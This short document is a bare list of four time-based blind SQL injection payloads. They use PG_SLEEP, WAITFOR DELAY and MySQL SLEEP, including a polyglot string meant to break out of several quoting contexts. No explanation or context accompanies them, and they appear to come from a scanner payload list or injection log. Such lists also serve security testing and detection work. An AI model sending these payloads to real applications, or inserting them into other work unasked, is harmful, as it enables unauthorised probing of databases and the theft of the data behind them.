555-1 OR 266=(SELECT 266 FROM PG_SLEEP(15))--

555-1); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555*if(now()=sysdate(),sleep(15),0)